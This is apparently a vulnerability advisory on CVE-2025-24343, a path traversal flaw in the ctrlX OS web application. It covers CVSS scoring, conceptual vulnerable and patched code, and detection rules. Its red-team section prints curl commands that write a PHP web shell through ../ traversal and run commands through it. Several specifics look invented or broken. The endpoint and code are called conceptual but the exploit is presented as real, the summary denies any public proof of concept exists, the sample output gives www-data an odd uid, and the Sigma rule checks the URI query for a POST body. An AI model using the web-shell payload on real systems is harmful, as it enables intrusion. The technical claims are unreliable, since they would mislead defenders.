CVE-2025-24343

Executive Summary

CVE-2025-24343 is a path traversal vulnerability in the “Manages app data” functionality of the ctrlX OS web application. A remote authenticated attacker with low privileges can exploit this flaw to write arbitrary files to arbitrary file system paths via a crafted HTTP request. This can lead to unauthorized file modification, potential privilege escalation, or system compromise. The CVSS score is 5.4 (Medium), and no public proof-of-concept or patch is currently available.

CVSS Breakdown & Threat Level

• CVSS Score: 5.4 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: High (I:H)
• Availability Impact: None (A:N)

The threat level is elevated due to the low privileges required and the high integrity impact, allowing an attacker to overwrite critical system files or inject malicious code.

Deep Dive & Mechanics

The vulnerability resides in the “Manages app data” endpoint of the ctrlX OS web application. The application fails to properly sanitize user-supplied file paths, allowing an attacker to traverse directories using sequences like ../. By crafting a malicious HTTP request, a low-privileged user can write files to arbitrary locations, such as overwriting configuration files, scripts, or binaries.

Attack Flow:

1. Authenticate as a low-privileged user.
2. Send a POST request to the vulnerable endpoint with a crafted path parameter containing directory traversal sequences.
3. The server writes the attacker-controlled content to the specified path.
4. The attacker can then execute the written file (e.g., a web shell) or disrupt system operations.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

@app.route('/manage_app_data', methods=['POST'])
def manage_app_data():
    path = request.form['path']
    content = request.form['content']
    with open(path, 'w') as f:
        f.write(content)
    return "Success"

Patched Code (Conceptual):

import os

ALLOWED_BASE = '/var/ctrlx/app_data/'

@app.route('/manage_app_data', methods=['POST'])
def manage_app_data():
    path = request.form['path']
    # Sanitize path
    safe_path = os.path.normpath(os.path.join(ALLOWED_BASE, path))
    if not safe_path.startswith(ALLOWED_BASE):
        return "Invalid path", 403
    content = request.form['content']
    with open(safe_path, 'w') as f:
        f.write(content)
    return "Success"

Exploitation & Lab Setup

Red Team

Lab Setup:

• Target: ctrlX OS instance (e.g., version 2.0.0)
• Attacker: Kali Linux with Burp Suite or curl

Exploitation Steps:

1. Authenticate as a low-privileged user (e.g., user:password).
2. Craft a POST request to write a web shell to the web root:

curl -X POST http://target/manage_app_data \
  -c cookies.txt -b cookies.txt \
  -d "path=../../../var/www/html/shell.php&content=<?php system($_GET['cmd']); ?>"

3. Access the web shell:

curl http://target/shell.php?cmd=id

Expected Output:

uid=1000(www-data) gid=1000(www-data) groups=1000(www-data)

Blue Team

Detection:

• Monitor for directory traversal patterns in HTTP requests (e.g., ../).
• Alert on file writes outside expected application directories.
• Use file integrity monitoring (FIM) on critical system paths.

Mitigation:

• Apply input validation and path sanitization.
• Restrict write permissions to necessary directories.
• Implement a Web Application Firewall (WAF) to block traversal attempts.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /manage_app_data with path containing ../ sequences.
• File System: Unexpected files in /var/www/html/, /etc/, or /usr/local/bin/.
• Logs: Application logs showing file write operations to unusual paths.
• Process: Unusual processes spawned from web-accessible directories.

Detection Engineering

YARA Rule

rule cve_2025_24343_path_traversal {
    meta:
        description = "Detects path traversal attempts in HTTP requests to ctrlX OS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-24343"
    strings:
        $traversal = "../"
        $endpoint = "/manage_app_data"
    condition:
        $endpoint and #traversal > 0
}

Sigma Rule

title: CVE-2025-24343 Path Traversal in ctrlX OS
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects path traversal attempts in HTTP requests to ctrlX OS
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/manage_app_data'
        cs-uri-query|contains: '../'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in some applications
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-24343 Path Traversal in ctrlX OS"; flow:to_server,established; content:"POST"; http_method; content:"/manage_app_data"; http_uri; content:"../"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Patch: Apply vendor patch when available. Monitor ctrlX OS security advisories.
2. Workaround: Restrict access to the vulnerable endpoint via firewall or reverse proxy rules.
3. Input Validation: Implement strict path sanitization and allowlisting.
4. Least Privilege: Ensure web application runs with minimal file system write permissions.
5. Monitoring: Enable logging and alerting on suspicious file write operations.

Valters IT